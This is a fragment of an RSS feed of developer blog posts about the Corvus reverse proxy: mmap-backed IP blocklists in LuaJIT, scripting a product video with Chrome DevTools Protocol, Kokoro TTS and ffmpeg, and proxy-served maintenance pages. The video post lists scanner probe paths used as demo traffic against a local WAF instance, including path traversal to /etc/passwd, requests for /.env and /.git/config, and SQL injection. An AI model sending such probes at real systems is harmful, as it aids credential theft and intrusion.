    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;mid&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt; &lt;span class="n"&gt;lo&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;mid&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="n"&gt;hi&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;mid&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;end&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;lo&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The IPv6 version is the same with two 64-bit halves (&lt;code&gt;bit.bswap&lt;/code&gt; on the raw bytes, then compare&lt;br&gt;
&lt;code&gt;hi&lt;/code&gt; first). LuaJIT compiles this loop into tight machine code: about &lt;strong&gt;1.9 million lookups per&lt;br&gt;
second per CPU core&lt;/strong&gt; against 4 million ranges, with no garbage created per request.&lt;/p&gt;

&lt;h2&gt;
  
  
  The parts that can bite you
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Reloads.&lt;/strong&gt; On &lt;code&gt;nginx -s reload&lt;/code&gt; the master loads the new configuration in a fresh Lua VM, and the&lt;br&gt;
old VM is closed. Because the pointer was wrapped in &lt;code&gt;ffi.gc&lt;/code&gt;, closing the old VM unmaps the old&lt;br&gt;
files in the master. The old workers still have their own inherited mappings and keep them until&lt;br&gt;
they exit, so a request that's in flight never sees its list disappear.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Never modify a mapped file in place.&lt;/strong&gt; If you truncate or rewrite a file that a process has&lt;br&gt;
mapped, the next access to a page that no longer exists is a &lt;code&gt;SIGBUS&lt;/code&gt;, which kills the worker. This is&lt;br&gt;
why the files are content-addressed and written by rename: a changed list is a &lt;em&gt;new&lt;/em&gt; file with a new&lt;br&gt;
name, and the old one is only deleted when no configuration uses it any more (with a 10-minute&lt;br&gt;
grace period). Deleting a mapped file is harmless; the pages stay until the last mapping goes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Container memory.&lt;/strong&gt; Page cache for a mapped file counts towards the container's memory cgroup, but&lt;br&gt;
only once, not per worker. In the integration test, a 1.2-million-entry list made the whole&lt;br&gt;
container grow by &lt;strong&gt;17 MiB&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Platform assumptions.&lt;/strong&gt; &lt;code&gt;O_CLOEXEC = 0x80000&lt;/code&gt; is the value on Linux x86-64 and arm64, not&lt;br&gt;
everywhere. The loader refuses to run on big-endian systems rather than guessing.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why not something else?
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;lua_shared_dict&lt;/code&gt;&lt;/strong&gt; is shared between workers too, but it's a key-value store. Range lookups
would mean one key per address or one per prefix length, and filling it at every reload is slow.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;ipset/nftables in the kernel&lt;/strong&gt; is excellent for pure blocking. But it needs &lt;code&gt;NET_ADMIN&lt;/code&gt; in the
container, sits outside the proxy, and can't be one condition among others in a WAF rule
("block if the address is in this list &lt;em&gt;and&lt;/em&gt; the path is &lt;code&gt;/admin&lt;/code&gt;").&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A Lua table per worker&lt;/strong&gt; is what I had. See the 200 MB above.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Numbers
&lt;/h2&gt;

&lt;p&gt;Measured with the 3.9 million entry list:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Stored file&lt;/td&gt;
&lt;td&gt;3.55 million ranges, 28.5 MB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Download and conversion&lt;/td&gt;
&lt;td&gt;about 1 s, about 35 MB peak memory, given back afterwards&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Gateway memory&lt;/td&gt;
&lt;td&gt;the file once, shared by all workers&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;File check at configuration load&lt;/td&gt;
&lt;td&gt;about 80 ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Lookups&lt;/td&gt;
&lt;td&gt;about 1.9 million per second per CPU core&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Before&lt;/td&gt;
&lt;td&gt;over 200 MB per worker, several seconds per reload&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Try it
&lt;/h2&gt;

&lt;p&gt;The code is short enough to read in one sitting:&lt;br&gt;
&lt;a href="https://github.com/corvus-gateway/corvus/blob/main/gateway/lua/corvus/iplist.lua" rel="noopener noreferrer"&gt;&lt;code&gt;gateway/lua/corvus/iplist.lua&lt;/code&gt;&lt;/a&gt;&lt;br&gt;
(the mapping and the lookup, ~170 lines) and&lt;br&gt;
&lt;a href="https://github.com/corvus-gateway/corvus/tree/main/control/internal/ipset" rel="noopener noreferrer"&gt;&lt;code&gt;control/internal/ipset&lt;/code&gt;&lt;/a&gt;&lt;br&gt;
(the Go builder and file format). A golden test file is shared between the Go and Lua tests, so both&lt;br&gt;
sides agree on the format byte for byte.&lt;/p&gt;

&lt;p&gt;If you've solved this differently, for example with a radix tree in shared memory or something&lt;br&gt;
eBPF-based, I'd love to hear how it compares.&lt;/p&gt;

&lt;h2&gt;
  
  
  About Corvus
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://github.com/corvus-gateway/corvus" rel="noopener noreferrer"&gt;Corvus&lt;/a&gt; is an Apache-2.0 reverse proxy with a built-in&lt;br&gt;
WAF, one container with a web console in the style of Nginx Proxy Manager. In the console, an IP list&lt;br&gt;
can now be a URL to a blocklist of millions of entries; the list page shows the counts, a preview&lt;br&gt;
and a "check an IP address" box instead of loading the whole thing. The user who opened the issue&lt;br&gt;
got their 50 MB list, and I got an excuse to write &lt;code&gt;mmap&lt;/code&gt; from Lua.&lt;/p&gt;

</description>
      <category>nginx</category>
      <category>lua</category>
      <category>performance</category>
      <category>opensource</category>
    </item>
    <item>
      <title>I made a product video without opening a video editor: Chrome DevTools Protocol, a local AI voice and ffmpeg</title>
      <dc:creator>Jikwang Moon</dc:creator>
      <pubDate>Tue, 24 Nov 2026 01:02:25 +0000</pubDate>
      <link>https://dev.to/moonjikwang/i-made-a-product-video-without-opening-a-video-editor-chrome-devtools-protocol-a-local-ai-voice-19ng</link>
      <guid>https://dev.to/moonjikwang/i-made-a-product-video-without-opening-a-video-editor-chrome-devtools-protocol-a-local-ai-voice-19ng</guid>
      <description>&lt;p&gt;I maintain &lt;a href="https://github.com/corvus-gateway/corvus" rel="noopener noreferrer"&gt;Corvus&lt;/a&gt;, an open-source reverse proxy with a&lt;br&gt;
built-in web application firewall. People kept asking for "a quick video", and I had two problems:&lt;br&gt;
I don't want to be on camera, and I don't want a video that's out of date after the next release.&lt;/p&gt;

&lt;p&gt;So the video is a build artifact. A handful of scripts start a demo instance, fill it with traffic,&lt;br&gt;
click through the console, read a script with a local AI voice and put it all together with ffmpeg.&lt;br&gt;
Here's the result:&lt;/p&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/wtd2yBssBUk" width="710" height="399"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;

&lt;p&gt;Everything ran on one Windows laptop (RTX 3050 Ti, 4 GB) and cost nothing. Here's how each part&lt;br&gt;
works, and what tripped me up.&lt;/p&gt;
&lt;h2&gt;
  
  
  1. A demo instance that looks alive
&lt;/h2&gt;

&lt;p&gt;An empty dashboard makes a bad video. I started Corvus with Docker Compose next to three&lt;br&gt;
&lt;a href="https://github.com/traefik/whoami" rel="noopener noreferrer"&gt;&lt;code&gt;traefik/whoami&lt;/code&gt;&lt;/a&gt; containers as fake backends, seeded it through&lt;br&gt;
its HTTP API (five sites, three security rules, an access queue with 50 seats) and then ran a small&lt;br&gt;
Python traffic generator:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;visitors&lt;/strong&gt;: browser user agents fetching normal pages,&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;scanners&lt;/strong&gt;: &lt;code&gt;/.env&lt;/code&gt;, &lt;code&gt;/.git/config&lt;/code&gt;, &lt;code&gt;/wp-login.php&lt;/code&gt;, &lt;code&gt;../../etc/passwd&lt;/code&gt;, SQL injection in the
query string, from addresses that change every few requests,&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;a brute-force bot&lt;/strong&gt; posting to &lt;code&gt;/login&lt;/code&gt;,&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;90 shoppers&lt;/strong&gt; keeping sessions open on the shop, so the waiting room fills up.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Two details made it believable:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Every client has its own IP.&lt;/strong&gt; The generator sends &lt;code&gt;X-Forwarded-For&lt;/code&gt; and the Docker network is
configured as a trusted proxy, so the gateway sees hundreds of clients instead of one. I only
used the documentation ranges from RFC 5737 (&lt;code&gt;192.0.2.0/24&lt;/code&gt;, &lt;code&gt;198.51.100.0/24&lt;/code&gt;, &lt;code&gt;203.0.113.0/24&lt;/code&gt;),
so no real address appears on screen.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Let it run first.&lt;/strong&gt; After ten minutes the charts are full, automatic bans have kicked in and
the alerts banner has something to say.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;
  
  
  2. Recording through the Chrome DevTools Protocol
&lt;/h2&gt;

&lt;p&gt;No screen recorder and no Playwright: Node 22 has &lt;code&gt;fetch&lt;/code&gt; and &lt;code&gt;WebSocket&lt;/code&gt; built in, which is enough&lt;br&gt;
to drive headless Chrome over the DevTools Protocol. The useful calls:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Emulation.setDeviceMetricsOverride"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;width&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1600&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;height&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;900&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;deviceScaleFactor&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;1.2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;mobile&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Page.startScreencast"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;format&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"jpeg"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;quality&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;92&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;maxWidth&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1920&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;maxHeight&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1080&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nf"&gt;on&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Page.screencastFrame"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nf"&gt;save&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;metadata&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;timestamp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;                       &lt;span class="c1"&gt;// keep the timestamp!&lt;/span&gt;
  &lt;span class="nf"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Page.screencastFrameAck"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;sessionId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sessionId&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A 1600×900 viewport at 1.2× scale gives 1920×1080 frames with text a little larger than a normal&lt;br&gt;
desktop, which reads better on a phone.&lt;/p&gt;

&lt;p&gt;The "user" is JavaScript injected into the page: find a button by its text, move a fake cursor (a&lt;br&gt;
blue dot with a CSS transition) to it, pulse it, click. Typing sets the input's value one character&lt;br&gt;
at a time through the native setter, so React notices:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;set&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getOwnPropertyDescriptor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;HTMLInputElement&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;prototype&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"value"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;set&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;ch&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;ch&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;set&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;el&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;el&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dispatchEvent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Event&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"input"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;bubbles&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The intro and outro cards (a terminal full of attack requests, the logo, the links) are plain HTML&lt;br&gt;
pages with CSS animations, recorded the same way.&lt;/p&gt;
&lt;h3&gt;
  
  
  Things that cost me an hour each
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Screencast frames only arrive when something changes&lt;/strong&gt;, so you get a variable frame rate. Keep
each frame's timestamp and give it to ffmpeg's concat demuxer as &lt;code&gt;duration&lt;/code&gt;, then resample with
&lt;code&gt;fps=30&lt;/code&gt;. Otherwise static parts are skipped and the clip is too short.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Showing other sites through the gateway.&lt;/strong&gt; I needed the browser to open &lt;code&gt;http://shop.example.com&lt;/code&gt;
and land on the local gateway. &lt;code&gt;--host-resolver-rules&lt;/code&gt; gave me a blank page; what works is
&lt;code&gt;--proxy-server=http=127.0.0.1:29080&lt;/code&gt; (HTTP only, so the console on HTTPS is not proxied). And
Chrome quietly upgraded the URL to HTTPS until I added
&lt;code&gt;--disable-features=HttpsUpgrades,HttpsFirstBalancedModeAutoEnable&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Language.&lt;/strong&gt; The waiting page came out in Korean, because that's my system language. &lt;code&gt;--lang&lt;/code&gt;,
&lt;code&gt;Emulation.setLocaleOverride&lt;/code&gt; and &lt;code&gt;Network.setUserAgentOverride&lt;/code&gt; with &lt;code&gt;acceptLanguage&lt;/code&gt; fixed it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Freezing a moment.&lt;/strong&gt; The bot challenge page solves its proof of work in about a second, too fast
to show. &lt;code&gt;Fetch.enable&lt;/code&gt; with a pattern for the verification request, and never answering the
paused request, keeps the "Checking your browser" page on screen as long as the scene needs.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;
  
  
  3. A voice that isn't mine
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://github.com/hexgrad/kokoro" rel="noopener noreferrer"&gt;Kokoro&lt;/a&gt; is an 82M-parameter open-weight TTS model (Apache-2.0)&lt;br&gt;
that runs comfortably on a small GPU, or on the CPU. I rendered the same three sentences in seven&lt;br&gt;
voices, picked &lt;code&gt;am_michael&lt;/code&gt;, and generated one WAV per scene:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="n"&gt;kokoro&lt;/span&gt; &lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nc"&gt;KPipeline&lt;/span&gt;
&lt;span class="n"&gt;pipe&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;KPipeline&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lang_code&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"a"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                &lt;span class="c1"&gt;# American English&lt;/span&gt;
&lt;span class="n"&gt;audio&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;concatenate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;pipe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;voice&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"am_michael"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;sf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;"audio/{scene}.wav"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;audio&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;24000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The narration decides the timing, not the other way round: each scene is recorded for the length of&lt;br&gt;
its voice clip plus half a second before and 0.7 s after. Change a sentence, re-render that scene,&lt;br&gt;
and everything still lines up.&lt;/p&gt;

&lt;p&gt;Two small things helped the voice: write numbers and domains the way they should be spoken&lt;br&gt;
("corvus gateway dot org"), and keep sentences short. A ten-word sentence sounds natural; a&lt;br&gt;
thirty-word one sounds like a train announcement.&lt;/p&gt;

&lt;p&gt;(I installed it in its own venv. With PyTorch 2.5, a recent &lt;code&gt;transformers&lt;/code&gt; silently disables&lt;br&gt;
PyTorch and Kokoro fails with a confusing "requires the PyTorch library" error; pinning&lt;br&gt;
&lt;code&gt;transformers&amp;lt;4.50&lt;/code&gt; fixed it.)&lt;/p&gt;

&lt;h2&gt;
  
  
  4. Captions and sound with ffmpeg
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Captions&lt;/strong&gt;: the scene text, split into sentences, timed in proportion to their length, written
as an ASS file with a semi-transparent box, burned in with &lt;code&gt;-vf subtitles=captions.ass&lt;/code&gt;. The same
cues go into an &lt;code&gt;.srt&lt;/code&gt; for YouTube.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Sound effects&lt;/strong&gt;: no music, just a soft whoosh between scenes and a quiet tick on every click.
Both are generated with NumPy (filtered noise with an envelope, a decaying 1.8 kHz sine), so there
is nothing to license. The recorder logs a &lt;code&gt;console.debug&lt;/code&gt; on every click and listens to
&lt;code&gt;Runtime.consoleAPICalled&lt;/code&gt;, which gives exact click times for the ticks.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Mixing&lt;/strong&gt; is NumPy too: an empty array the length of the video, each clip added at its offset.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What I'd do differently
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;The frame rate.&lt;/strong&gt; Headless screencast delivered 10–15 frames per second when the page changed,
which makes the cursor a little steppy. For the next video I'll try capturing with
&lt;code&gt;HeadlessExperimental.beginFrame&lt;/code&gt; for a fixed frame rate.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A script first, then the demo data.&lt;/strong&gt; I wrote the narration, then noticed the charts didn't
show what it described. Seed the data for the story you want to tell.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The whole thing is about 800 lines of Python, JavaScript and HTML, and a new version of the video is one&lt;br&gt;
command away. If you maintain an open-source project and avoid video because of the editing, try&lt;br&gt;
treating it like a test: a fixture, a script, and an artifact at the end.&lt;/p&gt;

&lt;p&gt;Corvus is free and open source: &lt;a href="https://corvusgateway.org" rel="noopener noreferrer"&gt;corvusgateway.org&lt;/a&gt; ·&lt;br&gt;
&lt;a href="https://github.com/corvus-gateway/corvus" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;. Questions about the pipeline are welcome in the&lt;br&gt;
comments.&lt;/p&gt;

</description>
      <category>showdev</category>
      <category>opensource</category>
      <category>ffmpeg</category>
      <category>ai</category>
    </item>
    <item>
      <title>Stop running an extra container for your maintenance page: doing it right at the reverse proxy</title>
      <dc:creator>Jikwang Moon</dc:creator>
      <pubDate>Sun, 22 Nov 2026 04:19:24 +0000</pubDate>
      <link>https://dev.to/moonjikwang/stop-running-an-extra-container-for-your-maintenance-page-doing-it-right-at-the-reverse-proxy-3pl8</link>
      <guid>https://dev.to/moonjikwang/stop-running-an-extra-container-for-your-maintenance-page-doing-it-right-at-the-reverse-proxy-3pl8</guid>
      <description>&lt;p&gt;Sooner or later every self-hosted site needs one of these:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;a &lt;strong&gt;maintenance page&lt;/strong&gt; while the app is being upgraded or the database migrated,&lt;/li&gt;
&lt;li&gt;a &lt;strong&gt;"coming soon"&lt;/strong&gt; page for a domain you bought but haven't built yet,&lt;/li&gt;
&lt;li&gt;a &lt;strong&gt;parked&lt;/strong&gt; page for a domain you keep but don't use.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The common answer is "run a tiny nginx container with an &lt;code&gt;index.html&lt;/code&gt; and point the proxy at it."&lt;br&gt;
It works, but it's one more container to update, and it usually gets the details wrong: it answers&lt;br&gt;
&lt;strong&gt;200 OK&lt;/strong&gt;, so search engines index your maintenance notice, CDNs and browsers cache it, and uptime&lt;br&gt;
monitors report the site as healthy while it's down.&lt;/p&gt;

&lt;p&gt;The reverse proxy already terminates TLS for that domain. It can answer the page itself.&lt;/p&gt;

&lt;h2&gt;
  
  
  The details that matter
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Use 503 for maintenance, not 200.&lt;/strong&gt; &lt;code&gt;503 Service Unavailable&lt;/code&gt; tells crawlers "temporary, come back&lt;br&gt;
later": Google keeps your existing pages in the index instead of replacing them with "We'll be back&lt;br&gt;
soon". A &lt;code&gt;Retry-After&lt;/code&gt; header (seconds or a date) is a hint for when to come back. For a domain that&lt;br&gt;
will never serve anything, &lt;code&gt;410 Gone&lt;/code&gt; (or &lt;code&gt;404&lt;/code&gt;) is more honest than 200.&lt;/p&gt;

